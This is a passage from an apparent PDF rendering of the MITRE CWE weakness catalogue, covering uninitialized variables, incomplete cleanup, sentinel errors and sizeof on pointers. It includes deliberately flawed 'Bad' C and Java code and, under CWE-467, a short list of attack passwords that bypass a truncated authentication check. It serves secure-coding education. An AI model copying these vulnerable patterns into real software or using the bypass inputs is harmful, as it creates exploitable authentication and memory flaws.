This example will leave test\_string in an unknown condition when i is the same value as err\_val, because test\_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test\_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

*Example Language: C*

*(Bad)*

```
char *test_string;
if (i != err_val)
{
    test_string = "Hello World!";
}
printf("%s", test_string);
```

When the printf() is reached, test\_string might be an unexpected address, so the printf might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that test\_string has been properly set once it reaches the printf().

One solution would be to set test\_string to an acceptable default before the conditional:

*Example Language: C*

*(Good)*

```
char *test_string = "Done at the beginning";
if (i != err_val)
{
    test_string = "Hello World!";
}
printf("%s", test_string);
```

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test\_string is set:

*Example Language: C*

*(Good)*

```
char *test_string;
if (i != err_val)
{
    test_string = "Hello World!";
}
else {
    test_string = "Done on the other side!";
}
printf("%s", test_string);
```

## Observed Examples

Reference	Description
<b>CVE-2019-15900</b>	Chain: sscanf() call is used to check if a username and group exists, but the return value of sscanf() call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863). <a href="https://www.cve.org/CVERecord?id=CVE-2019-15900">https://www.cve.org/CVERecord?id=CVE-2019-15900</a>
<b>CVE-2008-3688</b>	Chain: A denial of service may be caused by an uninitialized variable (CWE-457) allowing an infinite loop (CWE-835) resulting from a connection to an unresponsive server. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3688">https://www.cve.org/CVERecord?id=CVE-2008-3688</a>
<b>CVE-2008-0081</b>	Uninitialized variable leads to code execution in popular desktop application. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0081">https://www.cve.org/CVERecord?id=CVE-2008-0081</a>
<b>CVE-2007-4682</b>	Crafted input triggers dereference of an uninitialized object pointer. <a href="https://www.cve.org/CVERecord?id=CVE-2007-4682">https://www.cve.org/CVERecord?id=CVE-2007-4682</a>
<b>CVE-2007-3468</b>	Crafted audio file triggers crash when an uninitialized variable is used. <a href="https://www.cve.org/CVERecord?id=CVE-2007-3468">https://www.cve.org/CVERecord?id=CVE-2007-3468</a>
<b>CVE-2007-2728</b>	Uninitialized random seed variable used. <a href="https://www.cve.org/CVERecord?id=CVE-2007-2728">https://www.cve.org/CVERecord?id=CVE-2007-2728</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	398	7PK - Code Quality	700	2116
MemberOf	<b>C</b>	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	<b>C</b>	1180	SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	1178	2258

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Uninitialized variable
7 Pernicious Kingdoms			Uninitialized Variable
Software Fault Patterns	SFP1		Glitch in computation
SEI CERT Perl Coding Standard	DCL33-PL	Imprecise	Declare identifiers before using them

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-436]mercy. "Exploiting Uninitialized Data". 2006 January. < <http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip> >.

[REF-437]Microsoft Security Vulnerability Research & Defense. "MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability". 2008 March 1. < <http://blogs.technet.com/swi/archive/2008/03/11/the-case-of-the-uninitialized-stack-variable-vulnerability.aspx> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

**Weakness ID :** 459  
**Structure :** Simple  
**Abstraction :** Base





### Description

The product does not properly "clean up" and remove temporary or supporting resources after they have been used.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	927
ParentOf		226	Sensitive Information in Resource Not Removed Before Reuse	536
ParentOf		460	Improper Cleanup on Thrown Exception	1041
ParentOf		568	finalize() Method Without super.finalize()	1215

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	927

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		452	Initialization and Cleanup Errors	2120

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Alternate Terms

**Insufficient Cleanup :**

### Common Consequences

Scope	Impact	Likelihood
Other	Other	
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
	DoS: Resource Consumption (Other)	
	<i>It is possible to overflow the number of temporary files because directories typically have limits on the number of files allowed. This could create a denial of service problem.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Temporary files and other supporting resources should be deleted/released immediately after they are no longer needed.

### Demonstrative Examples

**Example 1:**

Stream resources in a Java application should be released in a finally block, otherwise an exception thrown before the call to close() would result in an unreleased I/O resource. In the example below, the close() method is called in the try block (incorrect).

Example Language: Java

(Bad)

```
try {
    InputStream is = new FileInputStream(path);
    byte b[] = new byte[is.available()];
    is.read(b);
    is.close();
} catch (Throwable t) {
    log.error("Something bad happened: " + t.getMessage());
}
```

## Observed Examples

Reference	Description
<b>CVE-2000-0552</b>	World-readable temporary file not deleted after use. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0552">https://www.cve.org/CVERecord?id=CVE-2000-0552</a>
<b>CVE-2005-2293</b>	Temporary file not deleted after use, leaking database usernames and passwords. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2293">https://www.cve.org/CVERecord?id=CVE-2005-2293</a>
<b>CVE-2002-0788</b>	Interaction error creates a temporary file that can not be deleted due to strong permissions. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0788">https://www.cve.org/CVERecord?id=CVE-2002-0788</a>
<b>CVE-2002-2066</b>	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). <a href="https://www.cve.org/CVERecord?id=CVE-2002-2066">https://www.cve.org/CVERecord?id=CVE-2002-2066</a>
<b>CVE-2002-2067</b>	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). <a href="https://www.cve.org/CVERecord?id=CVE-2002-2067">https://www.cve.org/CVERecord?id=CVE-2002-2067</a>
<b>CVE-2002-2068</b>	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). <a href="https://www.cve.org/CVERecord?id=CVE-2002-2068">https://www.cve.org/CVERecord?id=CVE-2002-2068</a>
<b>CVE-2002-2069</b>	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). <a href="https://www.cve.org/CVERecord?id=CVE-2002-2069">https://www.cve.org/CVERecord?id=CVE-2002-2069</a>
<b>CVE-2002-2070</b>	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). <a href="https://www.cve.org/CVERecord?id=CVE-2002-2070">https://www.cve.org/CVERecord?id=CVE-2002-2070</a>
<b>CVE-2005-1744</b>	Users not logged out when application is restarted after security-relevant changes were made. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1744">https://www.cve.org/CVERecord?id=CVE-2005-1744</a>

## Functional Areas

- File Processing

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf	<b>C</b>	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2161



Nature	Type	ID	Name	V	Page
MemberOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	2203
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2241
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2244
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2251
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276

## Notes

### Relationship

CWE-459 is a child of CWE-404 because, while CWE-404 covers any type of improper shutdown or release of a resource, CWE-459 deals specifically with a multi-step shutdown process in which a crucial step for "proper" cleanup is omitted or impossible. That is, CWE-459 deals specifically with a cleanup or shutdown process that does not successfully remove all potentially sensitive data.

### Relationship

Overlaps other categories such as permissions and containment. Concept needs further development. This could be primary (e.g. leading to infoleak) or resultant (e.g. resulting from unhandled error conditions or early termination).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Cleanup
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	FIO04-J		Release resources when they are no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	FIO00-J		Do not operate on files in shared directories
Software Fault Patterns	SFP14		Failure to release resource

## CWE-460: Improper Cleanup on Thrown Exception

**Weakness ID** : 460

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow.



### Extended Description

Often, when functions or loops become complicated, some level of resource cleanup is needed throughout execution. Exceptions can disturb the flow of the code and prevent the necessary cleanup from happening.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		755	Improper Handling of Exceptional Conditions	1468
ChildOf		459	Incomplete Cleanup	1038

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1012	Cross Cutting	2220

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		452	Initialization and Cleanup Errors	2120

## Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

**Language :** Java (Prevalence = Undetermined)

**Language :** C# (Prevalence = Undetermined)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context  <i>The code could be left in a bad state.</i>	

## Potential Mitigations

### Phase: Implementation

If one breaks from a loop or function by throwing an exception, make sure that cleanup happens or that you should exit the program. Use throwing exceptions sparsely.

## Demonstrative Examples

### Example 1:

The following example demonstrates the weakness.

*Example Language: Java*

*(Bad)*

```
public class foo {
    public static final void main( String args[] ) {
        boolean returnValue;
        returnValue=doStuff();
    }
    public static final boolean doStuff( ) {
        boolean threadLock;
        boolean truthvalue=true;
```

```

try {
    while(
        //check some condition
    ){
        threadLock=true; //do some stuff to truthvalue
        threadLock=false;
    }
}
catch (Exception e){
    System.err.println("You did something bad");
    if (something) return truthvalue;
}
return truthvalue;
}
}

```

In this case, you may leave a thread locked accidentally.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2158
MemberOf	<b>C</b>	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2173
MemberOf	<b>C</b>	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2192
MemberOf	<b>C</b>	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2241
MemberOf	<b>C</b>	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2259

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Improper cleanup on thrown exception
The CERT Oracle Secure Coding Standard for Java (2011)	ERR03-J		Restore prior object state on method failure
The CERT Oracle Secure Coding Standard for Java (2011)	ERR05-J		Do not let checked exceptions escape from a finally block
SEI CERT Perl Coding Standard	EXP31-PL	Imprecise	Do not suppress or ignore exceptions

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-462: Duplicate Key in Associative List (Alist)

**Weakness ID** : 462

**Structure** : Simple

**Abstraction** : Base

### Description

Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error.

## Extended Description

A duplicate key entry -- if the alist is designed properly -- could be used as a constant time replace function. However, duplicate key entries could be inserted by mistake. Because of this ambiguity, duplicate key entries in an association list are not recommended and should not be allowed.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		694	Use of Multiple Resources with Duplicate Identifier	1424

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

## Potential Mitigations

### Phase: Architecture and Design

Use a hash table instead of an alist.

### Phase: Architecture and Design

Use an alist which checks the uniqueness of hash keys with each entry before inserting the entry.

## Demonstrative Examples

### Example 1:

The following code adds data to a list and then attempts to sort the data.

*Example Language: Python*

*(Bad)*

```
alist = []
while (foo()): #now assume there is a string data with a key basename
    queue.append(basename,data)
queue.sort()
```

Since basename is not necessarily unique, this may not sort how one would like it to be.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	2142
MemberOf	<b>C</b>	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	2172
MemberOf	<b>C</b>	977	SFP Secondary Cluster: Design	888	2200

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Duplicate key in associative list (alist)
CERT C Secure Coding	ENV02-C		Beware of multiple environment variables with the same effective name

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-463: Deletion of Data Structure Sentinel

**Weakness ID** : 463

**Structure** : Simple

**Abstraction** : Base

### Description

The accidental deletion of a data-structure sentinel can cause serious programming logic problems.

### Extended Description

Often times data-structure sentinels are used to mark structure of the data structure. A common example of this is the null character at the end of strings. Another common example is linked lists which may contain a sentinel to mark the end of the list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the deletion or modification outside of some wrapper interface which provides safety.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1440
PeerOf	<b>B</b>	464	Addition of Data Structure Sentinel	1047
PeerOf	<b>B</b>	170	Improper Null Termination	411

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	137	Data Neutralization Issues	2102

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Availability Other	Other <i>Generally this error will cause the data structure to not work properly.</i>	
Authorization Other	Other <i>If a control character, such as NULL is removed, one may cause resource access control problems.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

#### Phase: Build and Compilation

*Strategy = Compilation or Build Hardening*

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

*Effectiveness = Defense in Depth*

*This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

#### Phase: Operation

Use OS-level preventative functionality. Not a complete solution.

### Demonstrative Examples

#### Example 1:

This example creates a null terminated string and prints its contents.

*Example Language: C*

*(Bad)*

```
char *foo;
int counter;
foo=calloc(sizeof(char)*10);
for (counter=0;counter!=10;counter++) {
    foo[counter]='a';
    printf("%s\n",foo);
}
```

The string foo has space for 9 characters and a null terminator, but 10 characters are written to it. As a result, the string foo is not null terminated and calling printf() on it will have unpredictable and possibly dangerous results.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		977	SFP Secondary Cluster: Design	888	2200

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Deletion of data-structure sentinel

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-464: Addition of Data Structure Sentinel

**Weakness ID** : 464

**Structure** : Simple

**Abstraction** : Base

### Description

The accidental addition of a data-structure sentinel can cause serious programming logic problems.




### Extended Description

Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357
PeerOf		170	Improper Null Termination	411
PeerOf		463	Deletion of Data Structure Sentinel	1045

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>Generally this error will cause the data structure to not work properly by truncating the data.</i>	



## Potential Mitigations

### Phase: Implementation

### Phase: Architecture and Design

Encapsulate the user from interacting with data sentinels. Validate user input to verify that sentinels are not present.

### Phase: Implementation

Proper error checking can reduce the risk of inadvertently introducing sentinel values into data. For example, if a parsing function fails or encounters an error, it might return a value that is the same as the sentinel.

### Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. This is not a complete solution.

### Phase: Operation

Use OS-level preventative functionality. This is not a complete solution.

## Demonstrative Examples

### Example 1:

The following example assigns some character values to a list of characters and prints them each individually, and then as a string. The third character value is intended to be an integer taken from user input and converted to an int.

Example Language: C

(Bad)

```
char *foo;
foo=malloc(sizeof(char)*5);
foo[0]='a';
foo[1]='a';
foo[2]=atoi(getc(stdin));
foo[3]='c';
foo[4]='\0'
printf("%c %c %c %c %c \n",foo[0],foo[1],foo[2],foo[3],foo[4]);
printf("%s\n",foo);
```

The first print statement will print each character separated by a space. However, if a non-integer is read from stdin by `getc`, then `atoi` will not make a conversion and return 0. When `foo` is printed as a string, the 0 at character `foo[2]` will act as a NULL terminator and `foo[3]` will never be printed.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	2138
MemberOf	<b>C</b>	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	2169
MemberOf	<b>C</b>	977	SFP Secondary Cluster: Design	888	2200

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Addition of data-structure sentinel
CERT C Secure Coding	STR03-C		Do not inadvertently truncate a null-terminated byte string

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	STR06-C		Do not assume that strtok() leaves the parse string unchanged

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-466: Return of Pointer Value Outside of Expected Range

**Weakness ID** : 466

**Structure** : Simple

**Abstraction** : Base


## Description

A function can return a pointer to memory that is outside of the buffer that the pointer is expected to reference.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		465	Pointer Issues	2121

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)




**Language** : C++ (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Integrity	Modify Memory	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2135
MemberOf		872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2168

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212

## Notes

### Maintenance

This entry should have a chaining relationship with CWE-119 instead of a parent / child relationship, however the focus of this weakness does not map cleanly to any existing entries in CWE. A new parent is being considered which covers the more generic problem of incorrect return values. There is also an abstract relationship to weaknesses in which one component sends incorrect messages to another component; in this case, one routine is sending an incorrect value to another.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Illegal Pointer Value
Software Fault Patterns	SFP1		Glitch in computation

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-467: Use of sizeof() on a Pointer Type

**Weakness ID** : 467

**Structure** : Simple

**Abstraction** : Variant

### Description

The code calls sizeof() on a malloced pointer type, which always returns the wordsize/8. This can produce an unexpected result if the programmer intended to determine how much memory has been allocated.

### Extended Description

The use of sizeof() on a pointer can sometimes generate useful information. An obvious case is to find out the wordsize on a platform. More often than not, the appearance of sizeof(pointer) indicates a bug.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403
CanPrecede	E	131	Incorrect Calculation of Buffer Size	340

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	2121

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Read Memory	
<i>This error can often cause one to allocate a buffer that is much smaller than what is needed, leading to resultant weaknesses such as buffer overflows.</i>		

### Potential Mitigations

#### Phase: Implementation

Use expressions such as "sizeof(\*pointer)" instead of "sizeof(pointer)", unless you intend to run sizeof() on a pointer type to gain some platform independence or if you are allocating a variable on the stack.

### Demonstrative Examples

#### Example 1:

Care should be taken to ensure sizeof returns the size of the data structure itself, and not the size of the pointer to the data structure.

In this example, sizeof(foo) returns the size of the pointer.

*Example Language: C*

*(Bad)*

```
double *foo;
...
foo = (double *)malloc(sizeof(foo));
```

In this example, sizeof(\*foo) returns the size of the data structure and not the size of the pointer.

*Example Language: C*

*(Good)*

```
double *foo;
...
foo = (double *)malloc(sizeof(*foo));
```

#### Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

*Example Language:*

*(Bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
```

```

char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    printf("Sizeof username = %d\n", sizeof(username));
    printf("Sizeof pass = %d\n", sizeof(pass));
    if (strncmp(username, inUser, sizeof(username))) {
        printf("Auth failure of username using sizeof\n");
        return(AUTH_FAIL);
    }
    /* Because of CWE-467, the sizeof returns 4 on many platforms and architectures. */
    if (!strncmp(pass, inPass, sizeof(pass))) {
        printf("Auth success of password using sizeof\n");
        return(AUTH_SUCCESS);
    }
    else {
        printf("Auth fail of password using sizeof\n");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv)
{
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult != AUTH_SUCCESS) {
        ExitError("Authentication failed");
    }
    else {
        DoAuthenticatedTask(argv[1]);
    }
}

```

In AuthenticateUser(), because sizeof() is applied to a parameter with an array type, the sizeof() call might return 4 on many modern architectures. As a result, the strncmp() call only checks the first four characters of the input password, resulting in a partial comparison (CWE-187), leading to improper authentication (CWE-287).

Because of the partial comparison, any of these passwords would still cause authentication to succeed for the "admin" user:

*Example Language:*

*(Attack)*

```

pass5
passABCDEFGH
passWORD

```

Because only 4 characters are checked, this significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "adminXYZ" and "administrator" will succeed for the username.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	2135
MemberOf	<b>C</b>	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	2137

Nature	Type	ID	Name	Fit	Page
MemberOf	<b>C</b>	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	<b>V</b>	2169
MemberOf	<b>V</b>	884	CWE Cross-section		2327
MemberOf	<b>C</b>	974	SFP Secondary Cluster: Incorrect Buffer Length Computation		2199
MemberOf	<b>C</b>	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)		2251

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Use of sizeof() on a pointer type
CERT C Secure Coding	ARR01-C		Do not apply the sizeof operator to a pointer when taking the size of an array
CERT C Secure Coding	MEM35-C	CWE More Abstract	Allocate sufficient memory for an object
Software Fault Patterns	SFP10		Incorrect Buffer Length Computation

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

